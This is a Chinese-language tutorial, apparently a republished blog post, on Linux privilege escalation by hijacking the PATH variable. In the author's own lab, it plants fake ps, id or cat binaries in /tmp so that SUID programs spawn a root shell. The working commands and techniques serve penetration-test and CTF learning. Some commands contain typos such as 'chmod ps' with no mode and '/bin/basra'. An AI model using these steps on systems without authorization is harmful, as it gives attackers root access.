0x00 前言

在解决了几个OSCP挑战之后,我们决定写一篇关于用于Linux权限升级的各种方法的文章,这对我们的读者在其渗透测试项目中有所帮助。在本文中,我们将学习“使用$path变量的各种方法”以获得远程主机的root访问权限,以及CTF挑战所使用的技术,以生成导致权限提升的$path漏洞。如果你已经解决了CTF后利用的挑战,那么通过阅读本文,您将认识到导致权限提升的几个漏洞。

0x001 PATH变量介绍

PATH是Linux和Unix操作系统中的环境变量,它指定存储所有可执行程序的所有bin和sbin目录。当用户在终端上运行任何命令时,它请求shell在path变量的帮助下搜索可执行文件,以响应用户执行的命令。超级用户通常还具有/sbin和/usr/sbin权限,以便轻松执行系统管理命令。

借助echo命令查看相关用户的路径非常简单。

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你注意到'.'符号,那么在环境PATH变量中,它意味着已登录的用户可以从当前目录执行二进制文件和脚本,这对于攻击者提升root权限是一种很好的技术。这是由于在编写程序时缺乏注意,因此管理员没有指定程序的完整路径。

0x03 PATH变量提权方法一

1.Ubuntu实验设置

目前,在/home/raj目录中,我们将在其中创建一个以名称作为脚本的新目录。现在在脚本目录中,我们将编写一个小的C程序来调用系统二进制文件的函数。

pwd
mkdir script
cd script
nano demo.c

正如您在demo.c文件中所看到的那样,我们正在调用ps命令(进程状态),它是系统二进制文件。

然后使用gcc编译demo.c文件,并将suid权限提升到编译文件

ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell

2.权限提升

首先,您需要攻击目标系统,然后进入到权限提升阶段。假设您使用普通用户通过ssh成功地登录到受害者的主机。然后在没有浪费时间的情况下,在Find命令的帮助下搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f >/dev/null

因此,在上述命令的帮助下,攻击者可以枚举任何可执行文件,这里我们还可以看到/home/raj/script/shell具有suid权限。

然后,我们进入/home/raj/script目录中并看到一个可执行文件“shell”。所以我们运行这个文件,在这里看起来这个文件正在尝试运行ps,这是/bin中的一个真实文件,用于获取进程状态。

ls
./shell

(1) echo命令:第一种生成root权限的技术

cd /tmp
echo "/bin/bash" > ps
chmod ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami

(2)复制命令-第二种生成root权限的技术

cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami

(3)symlink命令-第三种生成root权限的技术

ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami

注意:symlink也称为符号链接,如果目录具有执行权限,它将成功运行。在Ubuntu中有symlink的情况下,我们已将/script目录赋予777权限

因此,我们看到攻击者可以使用环境变量PATH来提升权限并获得root访问权限。

0x04 PATH变量提权方法二

1.Ubuntu实验设置

重复上面相同的步骤来配置你自己的实验,现在在脚本目录中,我们将编写一个小的c程序来调用系统二进制文件的函数。

pwd
mkdir script
cd /script
nano test.c

正如您在我们的test.c文件中看到的那样,我们正在调用id命令,即系统二进制文件。

然后使用gcc编译test.c文件,并将suid权限提升到编译后的文件

ls
gcc test.c -o shell2
chmod u+s shell2
ls -la shell2

2.权限提升

同样,您需要攻击目标系统,然后进入到特权提升阶段。假设您使用普通用户通过ssh成功地登录到受害者的主机。然后在没有浪费时间的情况下,在Find命令的帮助下搜索具有SUID或4000权限的文件。在这里,我们还可以看到/home/raj/script/shell2是否具有suid权限。

find / -perm -u=s -type f >/dev/null

然后我们进入/home/raj/script目录,并看到一个可执行文件“shell2”。所以我们运行这个文件,看起来shell2正在尝试运行id,这是/bin中的一个真实文件。

cd /home/raj/script/
ls
./shell2

(1) Echo命令

cd /tmp
echo "/bin/bash" > id
chmod id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami

 

0x05 PATH变量提权方法三

1.Ubuntu实验设置

重复以上步骤来设置自己的实验,正如您在raj.c文件中看到的那样,我们调用cat命令从etc/passwd文件内读取其内容。

然后使用gcc编译raj.c文件,并将suid权限提升到编译后的文件。

ls
gcc raj.c -o raj
chmod u+s raj
ls -la raj

2.权限提升

再次攻击受害者的系统,然后进入权限升级阶段,执行以下命令查看sudo用户列表。

find / -perm -u=s -type f >/dev/null

在这里我们还可以看到/home/raj/script/raj拥有suid权限,然后我们进入/home/raj/script目录,并看到一个可执行文件“raj”。因此,当我们运行这个文件时,它将会查看到etc/passwd文件的内容。

cd /home/raj/script/
ls
./raj

(1) Nano Editor:第四种权限提升技术

cd /tmp
nano cat

现在,当终端打开并输入/bin/basra,然后进行保存

chmod  cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami

 

0x06 PATH变量提权方法四

1.Ubuntu实验设置

重复上面的步骤来设置你自己的实验,正如您在demo.c文件中看到的那样,我们调用cat命令来读取msg.txt内容,该文件在/home/raj中,但实际在/home/raj中没有这样的文件。

然后使用gcc编译demo.c文件,并将SUID权限提升到编译后的文件

ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite

2.权限提升

再次攻击受害者的系统,然后进入到权限升级阶段,执行以下命令查看sudo用户列表。

find / -perm -u=s -type f >/dev/null

在这里,我们还可以看到/home/raj/script/ignite拥有suid权限,然后我们进入/home/raj/script目录,并看到一个可执行文件“ignite”。所以当我们运行这个文件时,它会输出错误“cat:/home/raj/msg.txt”作为结果。

cd /home/raj/script/
ls
./ignite

(1) vi编辑器-第五种权限提升技术

cd /tmp
vi cat

现在,当终端打开并输入/bin/basra,然后进行保存

chmod  cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami

 
 
 
 
 

使用PATH变量进行Linux权限升级技巧的更多相关文章

  1. 使用sudo进行Linux权限升级技巧

    0x00 前言 在我们之前的文章中,我们讨论了如何使用SUID二进制文件和/etc/passwd 文件的Linux权限提升技巧,今天我们发布了另一种“使用Sudoers文件进行Linux权限提示技巧” ...

  2. 使用LD_Preload的Linux权限升级技巧

      0x00 前言 共享库是程序在启动时加载的库.正确安装共享库后,之后启动的所有程序将自动使用新的共享库. 0x01 共享库名称 每个共享库都有一个名为soname的特殊名称.soname有前缀li ...

  3. 使用SUID二进制文件进行Linux权限升级技巧

      0x00 基础知识 众所周知,在Linux中一切都以文件存在,包括具有允许或限制三个执行操作(即读/写/执行)权限的目录和设备.因此,当给任何文件设置权限时,应该需要了解允许的Linux用户或限制 ...

  4. 利用PATH环境变量 - 提升linux权限~👻

    利用PATH提升linux权限 参考地址:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/ ...

  5. Linux系统PATH变量配置

    alias命令用于设置命令的别名,格式为“alias 别名=命令” 例如担心复制文件时误将文件被覆盖,可以执行alias cp=" cp -i",如此一来 每次复制命令都会询问用户 ...

  6. Linux PATH变量的设置

    一般Linux系统,有两个配置文件可以设置PATH变量,一:.bashrc 二:.bash_profile; 还有一种方法可以临时设置PATH变量(三) 一:  1.编辑.bashrc,添加 expo ...

  7. Linux编程 12 (默认shell环境变量, PATH变量重要讲解)

    一 .概述 默认情况下, bash shell会用一些特定的环境变量来定义系统的环境.这些默认环境变量可以理解是上篇所讲的系统全局环境变量. 1.1 bash  shell支持的Bourne变量 Bo ...

  8. 编辑/etc/passwd文件进行权限升级的技巧

    0x00 前言 在本文中,我们将学习“修改/etc/passwd文件以创建或更改用户的root权限的各种方法”.有时,一旦目标被攻击,就必须知道如何在/etc/passwd文件中编辑自己的用户以进行权 ...

  9. linux java7升级到java8

    转自:https://blog.csdn.net/u010199866/article/details/81744382 linux java7升级到java8   版权 1.第一步先卸载所有老的jd ...

随机推荐

  1. Spring不能直接@autowired注入Static变量/ 关于SpringBoot的@Autowired 静态变量注入

    昨天在编写JavaMail工具类的时候,静态方法调用静态变量,这是很正常的操作,当时也没多想,直接静态注入. @Component public class JavaMailUtil { @Autow ...

  2. jenkins服务器使用python脚本rabbitmqadmin和shell对目标服务器进行管理

    jenkins服务器使用python脚本rabbitmqadmin和shell对目标服务器进行管理 准备工作: .jenkins服务器,安装rabbitmqadmi命令 rabbitmqadmin管理 ...

  3. Eclipse 修改(重定向)SVN地址

    由于SVN服务器IP变了,需要重定向SVN的路径 1.点击右上角1位置的按钮,然后选择需要打开的窗口(SVN资源库) 2.右击SVN资源库中的项目,选择重定向,然后修改新的URL即可 1. 进入本地s ...

  4. Cisco ASA 5505配置详解(v8.3之前版本)

    在配ASA 5505时用到的命令 2009-11-22 22:49 nat-control命令 在6.3的时候只要是穿越防火墙都需要创建转换项,比如:nat:static等等,没有转换项是不能穿越防火 ...

  5. CardUtil算出当前身份证持有者的性别和年龄

    import java.text.SimpleDateFormat; import java.util.Date; import java.util.HashMap; import java.util ...

  6. XT交易所API

    HTTPAPI xt为用户提供了一个简单的而又强大的API,旨在帮助用户快速高效的将xt交易功能整合到自己应用当中. API地址域名地址 域名地址:https://www.xt.com/ 使用说明 使 ...

  7. (记录问题)1.Canvas.drawArc()方法的问题

    先看看异常: 一眼看去就知道说的是方法找不到错误 后面发现是系统版本过低,4.0的系统找不到5.0后添加的方法报的错. 修改后完美解决

  8. nginx 移动端和pc端自动跳转

    场景 项 域名 描述 pc端 www.one.com 用于pc端访问官网 移动端 m.one.com 用于移动端访问 现在的需求是这样,在pc端访问www.one.com和m.one.com都跳转到w ...

  9. 三层交换,单臂路由,vtp

  10. 用js实现call方法

    Function.prototype.call2 = function (context, ...args) {   var context = context || window;   //改变th ...